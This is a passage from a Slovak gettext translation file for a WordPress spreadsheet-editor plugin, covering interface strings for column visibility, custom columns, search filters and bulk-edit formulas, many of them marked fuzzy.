"Add a name for this group of columns" msgstr "Pridajte názov pre túto skupinu stĺpcov" #: columns-manager/inc/column-groups.php:328 #, fuzzy msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Túto skupinu stĺpcov si uložíme ako tabuľkové zobrazenie a na paneli s " "nástrojmi môžete prepínať medzi tabuľkami" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:74 #, fuzzy msgid "Rename column" msgstr "Premenovať stĺpec" #: columns-renaming/columns-renaming.php:61 #: columns-visibility/columns-visibility.php:155 #: columns-visibility/columns-visibility.php:169 #: wp-sheet-editor/dev/inc/ajax.php:142 wp-sheet-editor/dev/inc/ajax.php:257 #: wp-sheet-editor/dev/inc/ajax.php:278 wp-sheet-editor/dev/inc/ajax.php:284 #, fuzzy msgid "Missing parameters." msgstr "Chýbajúce parametre." #: columns-renaming/columns-renaming.php:65 #: columns-visibility/columns-visibility.php:159 #: columns-visibility/columns-visibility.php:173 #, fuzzy msgid "You dont have enough permissions to execute this action." msgstr "Na vykonanie tejto akcie nemáte dostatočné povolenia." #: columns-visibility/columns-visibility.php:163 #, fuzzy msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Stĺpce boli úspešne obnovené. Ak chcete zobraziť obnovené stĺpce a povoliť " "ich, znova načítajte stránku" #: columns-visibility/columns-visibility.php:354 msgid "Hide / Display / Sort columns" msgstr "Skryť / Zobraziť / Zoradiť stĺpce" #: columns-visibility/views/form.php:11 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Potiahnutím stĺpcov na ľavú alebo pravú stranu ich zapnete/vypnete, " "potiahnutím hore alebo dole zoradíte, kliknutím na tlačidlo „upraviť“ ich " "premenujete, kliknutím na tlačidlo „x“ ich úplne odstránite (iba keď boli " "predtým deaktivované)." #: columns-visibility/views/form.php:14 columns-visibility/views/form.php:69 #, fuzzy msgid "Enable all" msgstr "Povoliť všetko" #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:26 msgid "Disable all" msgstr "Zakázať všetko" #: columns-visibility/views/form.php:21 #, fuzzy msgid "Enabled" msgstr "Povolené" #: columns-visibility/views/form.php:21 columns-visibility/views/form.php:63 #, fuzzy msgid "Bulk" msgstr "Objem" #: columns-visibility/views/form.php:23 columns-visibility/views/form.php:66 msgid "Enter a search term..." msgstr "Zadajte hľadaný výraz..." #: columns-visibility/views/form.php:25 columns-visibility/views/form.php:68 #: universal-sheet/views/import-modal.php:84 msgid "Bulk actions" msgstr "Hromadné akcie" #: columns-visibility/views/form.php:27 columns-visibility/views/form.php:71 msgid "Sort alphabetically ASC" msgstr "Zoradiť abecedne vzostupne" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:72 msgid "Sort alphabetically DESC" msgstr "Zoradiť abecedne zostupne" #: columns-visibility/views/form.php:52 columns-visibility/views/form.php:92 #, fuzzy msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Úplne odstráňte stĺpec. Ak ho chcete použiť neskôr, môžete ho vypnúť " "presunutím do pravého stĺpca" #: columns-visibility/views/form.php:54 columns-visibility/views/form.php:94 #, fuzzy msgid "Disable column. You can enable it later." msgstr "Zakázať stĺpec. Môžete to povoliť neskôr." #: columns-visibility/views/form.php:55 columns-visibility/views/form.php:95 #, fuzzy msgid "Enable column" msgstr "Povoliť stĺpec" #: columns-visibility/views/form.php:63 #, fuzzy msgid "Disabled" msgstr "Zakázané" #: columns-visibility/views/form.php:70 #, fuzzy msgid "Delete all" msgstr "Vymazať všetko" #: columns-visibility/views/form.php:88 #, fuzzy msgid "Enabling this column requires a page reload" msgstr "Povolenie tohto stĺpca vyžaduje opätovné načítanie stránky" #: columns-visibility/views/form.php:107 msgid "A column is missing?" msgstr "Chýba stĺpec?" #: columns-visibility/views/form.php:109 #, fuzzy msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Najprv upravte jednu položku v bežnom editore a vyplňte všetky polia ručne." #: columns-visibility/views/form.php:118 #, fuzzy msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Môžeme skenovať databázu, nájsť nové polia a automaticky vytvárať stĺpce" #: columns-visibility/views/form.php:121 #, fuzzy msgid "You can do this multiple times" msgstr "Môžete to urobiť viackrát" #: columns-visibility/views/form.php:121 #, fuzzy msgid "Scan Now" msgstr "Skenovanie teraz" #: columns-visibility/views/form.php:126 #, fuzzy msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Ak predchádzajúce riešenie zlyhalo, môžete nové stĺpce vytvoriť manuálne." #: columns-visibility/views/form.php:126 #, fuzzy msgid "Create column" msgstr "Vytvorte stĺpec" #: columns-visibility/views/form.php:128 #, fuzzy msgid "- Maybe you deleted the columns from the list." msgstr "- Možno ste odstránili stĺpce zo zoznamu." #: columns-visibility/views/form.php:128 #, fuzzy msgid "Restore deleted columns" msgstr "Obnovte odstránené stĺpce" #: columns-visibility/views/form.php:129 #, fuzzy msgid "- We can help you." msgstr "- Môžeme vám pomôcť." #: columns-visibility/views/form.php:129 #: wp-sheet-editor/dev/wp-sheet-editor.php:830 #, fuzzy msgid "Contact us" msgstr "Kontaktuj nás" #: columns-visibility/views/form.php:135 #, fuzzy msgid "Save these settings for future sessions?" msgstr "Chcete tieto nastavenia uložiť pre budúce relácie?" #: columns-visibility/views/form.php:143 #, fuzzy msgid "Apply settings" msgstr "Použiť nastavenia" #: columns-visibility/views/form.php:144 filters/filters.php:418 #: formulas/inc/ui.php:175 #: universal-sheet/views/edit-google-sheets-modal.php:23 #: universal-sheet/views/import-modal.php:184 #: woocommerce/views/spreadsheet-create-variations-modal.php:105 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:186 #: wp-sheet-editor/dev/views/editor-page.php:230 #: wp-sheet-editor/dev/views/editor-page.php:254 #: wp-sheet-editor/dev/views/extensions-modal.php:9 #: wp-sheet-editor/dev/views/settings-form.php:62 #: wp-sheet-editor/dev/views/support-modal.php:23 #, fuzzy msgid "Close" msgstr "Zavrieť" #: custom-columns/custom-columns.php:385 msgid "Add columns for custom fields" msgstr "Pridať stĺpce pre vlastné polia" #: custom-columns/custom-columns.php:493 #, fuzzy msgid "Missing columns" msgstr "Chýbajúce stĺpce" #: custom-columns/custom-columns.php:542 custom-columns/custom-columns.php:565 #: custom-columns/custom-columns.php:591 #, fuzzy msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "Túto akciu nemáte povolené. Znova načítajte stránku alebo sa znova prihláste." #: custom-columns/custom-columns.php:545 #, fuzzy msgid "Missing post type or column_key" msgstr "Chýba typ príspevku alebo column_key" #: custom-columns/custom-columns.php:554 #, fuzzy msgid "The meta field was deleted successfully" msgstr "Meta pole bolo úspešne odstránené" #: custom-columns/custom-columns.php:557 #, fuzzy msgid "The meta field could not be deleted." msgstr "Meta pole sa nepodarilo odstrániť." #: custom-columns/custom-columns.php:568 #, fuzzy msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Chýba typ príspevku, starý_kľúč_stĺpca alebo nový_kľúč_stĺpca; alebo starý a " "nový kľúč sú rovnaké." #: custom-columns/custom-columns.php:580 #, fuzzy msgid "The meta key was renamed successfully" msgstr "Meta kľúč bol úspešne premenovaný" #: custom-columns/custom-columns.php:583 #, fuzzy msgid "The meta key couldnt be renamed." msgstr "Meta kľúč sa nepodarilo premenovať." #: custom-columns/custom-columns.php:602 #, fuzzy msgid "Columns could not be saved. Try again." msgstr "Stĺpce sa nepodarilo uložiť. Skúste to znova." #: custom-columns/custom-columns.php:605 #, fuzzy msgid "Changes saved" msgstr "Zmeny boli uložené" #: custom-columns/custom-columns.php:616 #, fuzzy msgid "Are you sure you want to delete this column?" msgstr "Naozaj chcete odstrániť tento stĺpec?" #: custom-columns/custom-columns.php:623 #, fuzzy msgid "Custom columns" msgstr "Vlastné stĺpce" #: custom-columns/views/settings-page.php:10 #: spreadsheet-setup/views/page.php:10 #: wp-sheet-editor/dev/inc/api/bootstrap.php:143 #: wp-sheet-editor/dev/views/editor-page.php:44 #: wp-sheet-editor/dev/views/extensions-page.php:15 #: wp-sheet-editor/dev/views/quick-setup.php:26 #: wp-sheet-editor/dev/views/settings-page.php:4 #: wp-sheet-editor/dev/views/whats-new.php:10 #: wp-sheet-editor/dev/wp-sheet-editor.php:928 #, fuzzy msgid "Sheet Editor" msgstr "Editor hárkov" #: custom-columns/views/settings-page.php:13 #, fuzzy msgid "Add New Columns to the Spreadsheet" msgstr "Pridajte do tabuľky nové stĺpce" #: custom-columns/views/settings-page.php:15 #, fuzzy msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Zadajte názov stĺpca (čokoľvek chcete) a z rozbaľovacej ponuky vyberte kľúč " "poľa. Ak ho nenájdete, môžete ho zadať do rozbaľovacej ponuky. Zobraziť príručku" #: custom-columns/views/settings-page.php:16 #, fuzzy msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Ak chcete prispôsobiť šírku stĺpca, formát (editor, nahrávanie súboru, " "taxonómie), povoľte rozšírený režim v spodnej časti stránky." #: custom-columns/views/settings-page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:108 #, fuzzy msgid "Need help? Contact us" msgstr "Potrebujete pomoc? Kontaktuj nás" #: custom-columns/views/settings-page.php:37 #, fuzzy msgid "Column name" msgstr "Názov stĺpca" #: custom-columns/views/settings-page.php:37 #, fuzzy msgid "The column name displayed in the spreadsheet" msgstr "Názov stĺpca zobrazený v tabuľke" #: custom-columns/views/settings-page.php:41 #, fuzzy msgid "Column key" msgstr "Kľúč stĺpca" #: custom-columns/views/settings-page.php:41 #, fuzzy msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Kľúč, ktorý sa použije na uloženie informácií do databázy. Toto musí byť " "jedinečné, iba písmená a podčiarkovníky." #: custom-columns/views/settings-page.php:61 #, fuzzy msgid "Data source" msgstr "Dátový zdroj" #: custom-columns/views/settings-page.php:61 #, fuzzy msgid "Select the kind of information used in the cells of this column." msgstr "Vyberte druh informácií použitých v bunkách tohto stĺpca." #: custom-columns/views/settings-page.php:63 #, fuzzy msgid "Post data" msgstr "Uverejniť údaje" #: custom-columns/views/settings-page.php:64 #, fuzzy msgid "Post meta (i.e. metaboxes)" msgstr "Post meta (t. j. metaboxy)" #: custom-columns/views/settings-page.php:65 #, fuzzy msgid "Post terms (i.e. categories)" msgstr "Podmienky uverejňovania (t. j. kategórie)" #: custom-columns/views/settings-page.php:69 #, fuzzy msgid "Post type(s)" msgstr "Typy príspevkov" #: custom-columns/views/settings-page.php:69 #, fuzzy msgid "What kind of posts require this column in the spreadsheet?" msgstr "Aké príspevky vyžadujú tento stĺpec v tabuľke?" #: custom-columns/views/settings-page.php:90 #, fuzzy msgid "Is read only?" msgstr "Je len na čítanie?" #: custom-columns/views/settings-page.php:94 #, fuzzy msgid "Allow to edit using formulas?" msgstr "Povoliť úpravy pomocou vzorcov?" #: custom-columns/views/settings-page.php:94 #, fuzzy msgid "If you disable this option, this column will be edited manually only." msgstr "Ak túto možnosť zakážete, tento stĺpec sa bude upravovať iba manuálne." #: custom-columns/views/settings-page.php:98 #, fuzzy msgid "Allow to hide column?" msgstr "Povoliť skrytie stĺpca?" #: custom-columns/views/settings-page.php:98 #, fuzzy msgid "Allow to hide this column on the settings page?" msgstr "Povoliť skrytie tohto stĺpca na stránke nastavení?" #: custom-columns/views/settings-page.php:102 #, fuzzy msgid "Allow to rename column?" msgstr "Povoliť premenovanie stĺpca?" #: custom-columns/views/settings-page.php:102 #, fuzzy msgid "Allow to rename column on the settings page?" msgstr "Povoliť premenovanie stĺpca na stránke nastavení?" #: custom-columns/views/settings-page.php:106 #, fuzzy msgid "Cell type" msgstr "Typ bunky" #: custom-columns/views/settings-page.php:106 #, fuzzy msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Vyberte formát buniek, ak by to mal byť normálny text, nástroj na nahrávanie " "súborov alebo textový editor." #: custom-columns/views/settings-page.php:109 #, fuzzy msgid "Normal cell" msgstr "Normálna bunka" #: custom-columns/views/settings-page.php:110 #, fuzzy msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:111 #, fuzzy msgid "File upload (single)" msgstr "Nahranie súboru (jeden)" #: custom-columns/views/settings-page.php:112 #, fuzzy msgid "File upload (multiple)" msgstr "Nahranie súboru (viacero)" #: custom-columns/views/settings-page.php:116 #, fuzzy msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Režim obyčajného textu: Vykresliť ako: (Použite, iba ak je typ bunky prázdny)" #: custom-columns/views/settings-page.php:118 #: custom-columns/views/settings-page.php:127 #, fuzzy msgid "Simple text" msgstr "Jednoduchý text" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 #, fuzzy msgid "Calendar" msgstr "Kalendár" #: custom-columns/views/settings-page.php:120 #, fuzzy msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Rozbaľovacia ponuka taxonómie. Iba ak zdroj údajov = podmienky uverejňovania." #: custom-columns/views/settings-page.php:121 #: custom-columns/views/settings-page.php:130 #, fuzzy msgid "Unfiltered HTML" msgstr "Nefiltrovaný kód HTML" #: custom-columns/views/settings-page.php:125 #, fuzzy msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Režim formátovanej bunky: Vykresliť ako: (Použite, iba ak je typ bunky " "prázdny)" #: custom-columns/views/settings-page.php:129 #, fuzzy msgid "Taxonomy dropdown" msgstr "Rozbaľovacia ponuka taxonómie" #: custom-columns/views/settings-page.php:134 #, fuzzy msgid "Column width (pixels)" msgstr "Šírka stĺpca (v pixeloch)" #: custom-columns/views/settings-page.php:140 formulas/inc/ui.php:280 msgid "Delete" msgstr "Odstrániť" #: custom-columns/views/settings-page.php:147 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:85 #, fuzzy msgid "Add new column" msgstr "Pridať nový stĺpec" #: custom-columns/views/settings-page.php:148 #: wp-sheet-editor/dev/inc/api/bootstrap.php:217 #: wp-sheet-editor/dev/views/post-types-form.php:29 #: wp-sheet-editor/dev/views/settings-form.php:61 msgid "Save" msgstr "Uložiť" #: custom-columns/views/settings-page.php:151 #, fuzzy msgid "Advanced mode" msgstr "Pokročilý mód" #: factory.php:194 wp-sheet-editor/dev/wp-sheet-editor.php:1154 msgid "My license" msgstr "Licencia" #: filters/filters.php:177 #, fuzzy msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Na vyhľadávanie medzi všetkými príspevkami použite nástroj Hľadať. Použite " "to na nájdenie a zvýraznenie jednej hodnoty v načítaných riadkoch v tabuľke. " "T.j. zvýraznite SKU alebo e-mail alebo názov." #: filters/filters.php:178 msgid "Locate cell" msgstr "Nájsť bunku" #: filters/filters.php:179 msgid "Locate cell." msgstr "Nájsť bunku." #: filters/filters.php:183 #, fuzzy msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Zadajte slovo a nájdeme prvý zodpovedajúci stĺpec. Vyhnete sa rolovaniu v " "desiatkach stĺpcov, aby ste našli ten, ktorý potrebujete." #: filters/filters.php:184 filters/filters.php:185 msgid "Locate column" msgstr "Nájsť stĺpec" #: filters/filters.php:196 filters/filters.php:204 filters/filters.php:366 msgid "Search" msgstr "Vyhľadávanie" #: filters/filters.php:204 msgid "Quick search" msgstr "Rýchle vyhľadávanie" #: filters/filters.php:204 msgid "Enter a keyword" msgstr "Zadajte kľúčové slovo" #: filters/filters.php:342 #, fuzzy msgid "Contains keyword" msgstr "Obsahuje kľúčové slovo" #: filters/filters.php:343 #, fuzzy msgid "" "It searches in the post title and post content.
                  Search by multiple " "keywords separating keywords with a semicolon (;)" msgstr "" "Vyhľadáva v názve príspevku a obsahu príspevku.
                  Vyhľadávanie podľa " "viacerých kľúčových slov, pričom kľúčové slová oddeľuje bodkočiarkou (;)" #: filters/filters.php:350 wp-sheet-editor/dev/inc/api/bootstrap.php:528 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 #, fuzzy msgid "Status" msgstr "Postavenie" #: filters/filters.php:354 wp-sheet-editor/dev/inc/api/bootstrap.php:496 msgid "Author" msgstr "Autor" #: filters/filters.php:417 #, fuzzy msgid "Run search" msgstr "Spustite vyhľadávanie" #: formulas/formulas.php:128 #, fuzzy msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "Neplatné #898AJSI. Nahradenie vyžaduje 2 parametre, jeden sme dostali" #: formulas/formulas.php:141 #, fuzzy msgid "Invalid #8W89PQ. Math formula is empty." msgstr "Neplatné #8W89PQ. Matematický vzorec je prázdny." #: formulas/formulas.php:148 #, fuzzy msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "Neplatné #PQ8SPQ. Matematický vzorec obsahuje čiarku: %s" #: formulas/formulas.php:154 #, fuzzy msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "Neplatné #8W23CV. Akceptujeme iba vzorce MATH a REPLACE, dostali sme neznámy " "typ vzorca." #: formulas/formulas.php:274 #, fuzzy msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %s, ID: %d" msgstr "" "Matematický vzorec nie je možné použiť. Zistili sme, že niektoré existujúce " "údaje nie sú číselné. Nájdené údaje: %s, ID: %d" #: formulas/formulas.php:282 #, fuzzy msgid "Error. The math engine could not execute the math operation: %s, ID: %d" msgstr "" "Chyba. Matematický nástroj nemohol vykonať matematickú operáciu: %s, ID: %d" #: formulas/formulas.php:405 #, fuzzy msgid "Value in the replace section is not valid" msgstr "Hodnota v sekcii nahradenia je neplatná" #: formulas/formulas.php:781 #, fuzzy msgid "Missing number and time unit." msgstr "Chýba číslo a časová jednotka." #: formulas/formulas.php:785 #, fuzzy msgid "Invalid time unit." msgstr "Neplatná časová jednotka." #: formulas/formulas.php:790 #, fuzzy msgid "The column selected is not valid." msgstr "Vybratý stĺpec nie je platný." #: formulas/formulas.php:1069 #, fuzzy msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Hromadná úprava nebola vykonaná. Nenašli sa žiadne položky zodpovedajúce " "kritériám." #: formulas/formulas.php:1078 universal-sheet/inc/csv-api.php:507 #, fuzzy msgid "

                  Complete

                  ." msgstr "

                  Dokončené

                  ." #: formulas/formulas.php:1095 #, fuzzy msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Úprava poľa: " "{column_label} . Položky na spracovanie: {total}, Priebeh: " "{progress_percentage} %%, aktualizovali sme {edited} položiek.

                  " #: formulas/inc/ui.php:64 formulas/inc/ui.php:263 msgid "Bulk Edit" msgstr "Hromadná úprava" #: formulas/inc/ui.php:76 #, fuzzy msgid "Using this tool you can update thousands of rows at once" msgstr "Pomocou tohto nástroja môžete aktualizovať tisíce riadkov naraz" #: formulas/inc/ui.php:77 #, fuzzy msgid "Need help? Check our tutorials" msgstr "Potrebujete pomoc? Pozrite si naše návody" #: formulas/inc/ui.php:82 #, fuzzy msgid "Select the rows that you want to update." msgstr "Vyberte riadky, ktoré chcete aktualizovať." #: formulas/inc/ui.php:85 #, fuzzy msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Upraviť všetky riadky z môjho aktuálneho vyhľadávania (vrátane neviditeľných " "riadkov)." #: formulas/inc/ui.php:86 #, fuzzy msgid "I want to search rows to update and edit all the search results" msgstr "" "Chcem prehľadávať riadky a aktualizovať a upravovať všetky výsledky " "vyhľadávania" #: formulas/inc/ui.php:87 #, fuzzy msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "Upravte riadky, ktoré som vybral manuálne v tabuľke." #: formulas/inc/ui.php:89 #, fuzzy msgid "Make another search" msgstr "Vykonajte ďalšie vyhľadávanie" #: formulas/inc/ui.php:97 #, fuzzy msgid "What field do you want to edit?" msgstr "Aké pole chcete upraviť?" #: formulas/inc/ui.php:98 formulas/inc/ui.php:111 #: universal-sheet/views/export-modal.php:24 #, fuzzy msgid "Select column..." msgstr "Vybrať stĺpec..." #: formulas/inc/ui.php:108 #, fuzzy msgid "" "A column is missing? Enable it" msgstr "" "Chýba stĺpec? " "Povoľte to" #: formulas/inc/ui.php:126 #, fuzzy msgid "Generated formula:" msgstr "Vygenerovaný vzorec:" #: formulas/inc/ui.php:131 #, fuzzy msgid "Use slower execution method?" msgstr "Použiť pomalší spôsob vykonávania?" #: formulas/inc/ui.php:131 #, fuzzy msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "Predvolený spôsob používa rýchlejšiu metódu vykonávania, ale nemusí fungovať " "vo všetkých prípadoch. Túto možnosť použite, keď predvolený spôsob nefunguje " "alebo neaktualizuje všetky príspevky." #: formulas/inc/ui.php:135 #, fuzzy msgid "Execute formula on future posts automatically (Advanced users only)" msgstr "" "Automaticky spustiť vzorec pri budúcich príspevkoch (len pre pokročilých " "používateľov)" #: formulas/inc/ui.php:135 #, fuzzy msgid "" "If you mark this option , when you create or update a post in the " "spreadsheet, we will check if the post matches the formula parameters and " "execute the formula automatically on that post. For example. When you create " "a product with category apples we can set the description automatically, or " "when you change the SKU we can update the downloadable files URLs " "automatically." msgstr "" "Ak označíte túto možnosť , pri vytváraní alebo aktualizácii príspevku v " "tabuľke skontrolujeme, či sa príspevok zhoduje s parametrami vzorca a " "automaticky spustíme vzorec v tomto príspevku. Napríklad. Keď vytvoríte " "produkt s kategóriou jablká, môžeme popis nastaviť automaticky, alebo keď " "zmeníte SKU, môžeme automaticky aktualizovať adresy URL súborov na " "stiahnutie." #: formulas/inc/ui.php:138 #, fuzzy msgid "%s rows will be edited." msgstr "%s riadkov bude upravených." #: formulas/inc/ui.php:138 #, fuzzy msgid "You can select the rows for the edit in the first option of this form." msgstr "V prvej možnosti tohto formulára môžete vybrať riadky na úpravu." #: formulas/inc/ui.php:148 #, fuzzy msgid "I have a database backup, Execute Now" msgstr "Mám zálohu databázy, Execute Now" #: formulas/inc/ui.php:150 #, fuzzy msgid "Execute Now" msgstr "Vykonať teraz" #: formulas/inc/ui.php:153 #, fuzzy msgid "Execute on future posts only" msgstr "Spustiť iba na budúcich príspevkoch" #: formulas/inc/ui.php:154 posts-templates/posts-templates.php:87 #: universal-sheet/views/export-modal.php:13 #: universal-sheet/views/export-modal.php:68 #: universal-sheet/views/import-modal.php:14 #, fuzzy msgid "Cancel" msgstr "Zrušiť" #: formulas/inc/ui.php:157 #, fuzzy msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Pred spustením si zálohujte databázu, zmeny sa nedajú vrátiť späť.

                  " "

                  2- Pred spustením sa uistite, že sú nastavenia hromadných úprav správne." "

                  " #: formulas/inc/ui.php:159 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "Opatrne. Zmeny sú nenávratné. Dôkladne skontrolujte priebeh." #: formulas/inc/ui.php:166 #, fuzzy msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "Hromadná úprava je spustená. Prosím, nezatvárajte toto okno, kým sa proces " "nedokončí." #: formulas/inc/ui.php:168 #, fuzzy msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Tip: Je vykonávanie vzorca príliš pomalé? Uložte viac príspevkov na dávku
                  Zobrazujú " "sa vám chyby pri vykonávaní vzorca? " "Ušetrite menej príspevkov na dávku" #: formulas/inc/ui.php:171 universal-sheet/views/export-modal.php:62 #: universal-sheet/views/import-modal.php:183 #, fuzzy msgid "Pause" msgstr "Pauza" #: formulas/inc/ui.php:171 wp-sheet-editor/dev/views/quick-setup.php:76 #: wp-sheet-editor/dev/views/quick-setup.php:100 #, fuzzy msgid "Go back" msgstr "Vráť sa" #: formulas/inc/ui.php:173 #, fuzzy msgid "Processing..." msgstr "Spracúva sa..." #: formulas/inc/ui.php:179 #, fuzzy msgid "" "Here you can view all the formulas saved for ongoing execution. These " "formulas will be executed on posts matching the filters when they are " "created or updated in the spreadsheet." msgstr "" "Tu si môžete prezrieť všetky vzorce uložené pre prebiehajúce vykonávanie. " "Tieto vzorce sa vykonajú na príspevkoch zodpovedajúcich filtrom, keď sa " "vytvoria alebo aktualizujú v tabuľke." #: formulas/inc/ui.php:180 #, fuzzy msgid "" "Note. If you want to modify saved formulas you have to delete the formula " "and create it again in the formulas builder." msgstr "" "Poznámka. Ak chcete upraviť uložené vzorce, musíte vzorec odstrániť a " "vytvoriť ho znova v nástroji na tvorbu vzorcov." #: formulas/inc/ui.php:186 #, fuzzy msgid "You haven't saved formulas yet." msgstr "Zatiaľ ste neuložili vzorce." #: formulas/inc/ui.php:206 #, fuzzy msgid "Field to update:" msgstr "Pole na aktualizáciu:" #: formulas/inc/ui.php:207 #, fuzzy msgid "Formula type:" msgstr "Typ vzorca:" #: formulas/inc/ui.php:208 #, fuzzy msgid "Formula parameters:" msgstr "Parametre vzorca:" #: formulas/inc/ui.php:208 msgid "Parameter:" msgstr "Parameter:" #: formulas/inc/ui.php:209 #, fuzzy msgid "Apply to:" msgstr "Aplikovať na:" #: formulas/inc/ui.php:211 #, fuzzy msgid "All" msgstr "Všetky" #: formulas/inc/ui.php:272 msgid "Edit" msgstr "Upraviť" #: formulas/inc/ui.php:291 msgid "Remove duplicates by title (delete the latest)" msgstr "Odstrániť duplikáty podľa názvu (vymazať najnovšie)" #: formulas/inc/ui.php:299 msgid "Remove duplicates by title (delete the oldest)" msgstr "Odstrániť duplikáty podľa názvu (vymazať najstaršie)" #: formulas/inc/ui.php:324 #, fuzzy msgid "More options" msgstr "Viac možností" #: formulas/inc/ui.php:356 #, fuzzy msgid "The bulk edit is missing important information, please fill the form." msgstr "" "V hromadnej úprave chýbajú dôležité informácie, vyplňte prosím formulár." #: formulas/inc/ui.php:357 #, fuzzy msgid "Select type of edit" msgstr "Vyberte typ úpravy" #: formulas/inc/ui.php:358 #, fuzzy msgid "- -" msgstr "--" #: formulas/inc/ui.php:359 #, fuzzy msgid "You entered an invalid formula. Please double check or contact us." msgstr "Zadali ste neplatný vzorec. Prosím skontrolujte alebo nás kontaktujte." #: formulas/inc/ui.php:365 #, fuzzy msgid "Math operation" msgstr "Matematická operácia" #: formulas/inc/ui.php:366 #, fuzzy msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aktualizujte existujúcu hodnotu výsledkom matematickej operácie.
                  Výsledok " "sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85" #: formulas/inc/ui.php:378 #, fuzzy msgid "Math formula" msgstr "Matematický vzorec" #: formulas/inc/ui.php:379 #, fuzzy msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Príklad 1: $current_value$ + 2 * 5.
                  Príklad 2: $_regular_price$ * 0,7 " "(Nastaviť bežnú cenu – 30 %)" #: formulas/inc/ui.php:385 woocommerce/woocommerce.php:240 #, fuzzy msgid "Decrease by percentage" msgstr "Znížiť o percento" #: formulas/inc/ui.php:386 #, fuzzy msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Znížte existujúcu hodnotu o percento.
                  Výsledok sa zaokrúhli na 2 " "najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85" #: formulas/inc/ui.php:399 formulas/inc/ui.php:420 #: woocommerce/woocommerce.php:223 #, fuzzy msgid "Decrease by" msgstr "Znížiť o" #: formulas/inc/ui.php:400 formulas/inc/ui.php:442 #, fuzzy msgid "Enter the percentage number." msgstr "Zadajte percentuálne číslo." #: formulas/inc/ui.php:406 #, fuzzy msgid "Decrease by number" msgstr "Znížiť o číslo" #: formulas/inc/ui.php:407 #, fuzzy msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Znížte existujúcu hodnotu o číslo.
                  Výsledok sa zaokrúhli na 2 najbližšie " "desatinné miesta. T.j. 3,845602 sa zmení na 3,85" #: formulas/inc/ui.php:421 formulas/inc/ui.php:463 formulas/inc/ui.php:520 #, fuzzy msgid "Enter the number." msgstr "Zadajte číslo." #: formulas/inc/ui.php:427 #, fuzzy msgid "Increase by percentage" msgstr "Zvýšte o percento" #: formulas/inc/ui.php:428 #, fuzzy msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Zvýšte existujúcu hodnotu o percento.
